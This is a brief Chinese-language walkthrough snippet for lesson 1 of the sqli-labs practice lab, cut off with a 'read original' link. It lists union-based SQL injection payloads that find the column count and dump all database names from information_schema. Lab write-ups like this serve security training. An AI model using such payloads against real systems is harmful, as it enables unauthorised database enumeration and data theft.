sqli labs通关秘籍

lesson 1 查看列数 id=1' order by 3 id=1' union select 1,2,3 --+web 利用information_schema查询全部数据库名 ?id=-1' union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+sql 根据数据库名查找表

>>阅读原文<<